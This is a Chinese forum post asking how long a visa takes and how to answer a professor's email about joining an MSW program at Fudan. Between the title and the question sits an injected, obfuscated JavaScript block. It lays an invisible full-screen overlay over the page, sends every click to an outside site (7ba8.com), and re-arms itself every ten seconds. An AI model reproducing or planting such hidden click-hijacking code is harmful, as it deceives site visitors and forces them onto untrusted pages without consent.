急件！！-咨询办理visa的时间与程序

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我收到老师的回信如下：

Tian Rong
I may be in Shanghai in late July or early august to interview students for
the MSW program, and would teach in Fudan in september. I hope I can see you
there. How long will it take for you to process your visa? Our admission quota
has to be filled by the end of december this year. Or else, we have to prepare
to come next year.
Joe Leung

请问一下办理VISA的时间要多久呢，我没有任何这方面的资讯与经验，能否请各位指点一二，我该如何回复老师呢？
非常期待得到您的帮助！
多谢，多谢！！！